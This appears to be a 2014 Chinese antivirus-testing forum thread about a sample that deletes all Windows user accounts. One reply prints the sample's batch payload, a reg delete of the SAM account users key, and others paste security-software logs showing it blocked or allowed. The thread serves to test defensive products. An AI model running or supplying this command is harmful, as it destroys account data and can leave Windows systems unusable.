删除所有账户（包括内置账户）

显示全部楼层 · 发表于 2014-6-6 23:31:23

本帖最后由深山红叶__ 于 2014-6-8 18:56 编辑

测试工具已更新。

最好虚拟机运行，实机运行请套个影子什么的

时间不够，做得很粗糙...

此功能将加入http://bbs.kafan.cn/thread-1717709-1-1.html中，更新时间暂不可定，最近应该可以放进去吧。
顺便http://bbs.kafan.cn/thread-1717709-1-1.html求回帖，如果被系统自动锁了那就只好重开帖子更新了

显示全部楼层 · 发表于 2014-6-7 09:13:54

@echo off
cmd /k reg delete HKLM\SAM\SAM\Domains\Account\Users /f

显示全部楼层 · 发表于 2014-6-7 10:16:04

山山挂了~

显示全部楼层 · 发表于 2014-6-7 10:43:16

本帖最后由 Qutianshang 于 2014-6-7 11:51 编辑

重启出现12天过期？？

显示全部楼层 · 发表于 2014-6-7 11:05:53

本帖最后由 cn86li 于 2014-6-10 18:06 编辑

To GD

ticket number is 2014060703000002

Hello,

Thank you for your patience.
The analysis of the file / website has been completed:

The file is infected.
Detection will be added.

File test_exe declared INFECTED

Please do not hesitate to contact us should you have any other inquiries in the future.

Have a great day.

显示全部楼层 · 发表于 2014-6-7 11:16:15

卡卡挂了

显示全部楼层 · 发表于 2014-6-7 11:27:59

2014-6-7 11:26:39 f:\fvirustest\test\test.exe 修改注册表项权限 HKEY_LOCAL_MACHINE\SAM\SAM 阻止 [注册表组]◆ 系统相关设置（阻止） -> [注册表]HKEY_LOCAL_MACHINE\SAM\*
2014-6-7 11:26:39 f:\fvirustest\test\test.exe 创建文件 F:\fvirustest\Test\KaFan Test.bat 阻止 [文件组]☆ 潜在威胁行为（阻止） -> [文件]*; *.bat
过百度杀毒国际版

显示全部楼层 · 发表于 2014-6-7 11:36:39

2014-06-07 11:33:38 创建文件    操作:允许
进程路径:C:\Documents and Settings\Administrator\桌面\Test\Test.exe
文件路径:C:\Documents and Settings\Administrator\桌面\Test\KaFan Test.bat
触发规则:所有程序规则->Documents and Settings设置（二）->?:\Documents and Settings\*\桌面\*

2014-06-07 11:33:39 运行应用程序    操作:允许
进程路径:C:\Documents and Settings\Administrator\桌面\Test\Test.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c "KaFan Test.bat"
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe

2014-06-07 11:33:40 运行应用程序    操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/k reg delete HKLM\SAM\SAM\Domains\Account\Users /f
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe

2014-06-07 11:33:40 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:delete HKLM\SAM\SAM\Domains\Account\Users /f
触发规则:所有程序规则->系统程序设置->*\reg.exe

2014-06-07 11:33:47 关闭/重启系统    操作:允许
进程路径:C:\Documents and Settings\Administrator\桌面\Test\Test.exe

触发规则:所有程序规则->*

显示全部楼层 · 发表于 2014-6-7 11:40:58

显示全部楼层 · 发表于 2014-6-7 11:43:45

直接挂掉（图又被限制上传了）

日志就一条：2014/6/7 11:39:56 已由访问保护规则禁止 SGZ-PC\SGZ C:\Users\SGZ\Downloads\Test.exe C:\Users\SGZ\Downloads\KaFan Test.bat 用户定义的规则:禁止未知程序任何文件操作已阻止的操作: 创建

[病毒样本] 删除所有账户（包括内置账户）

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源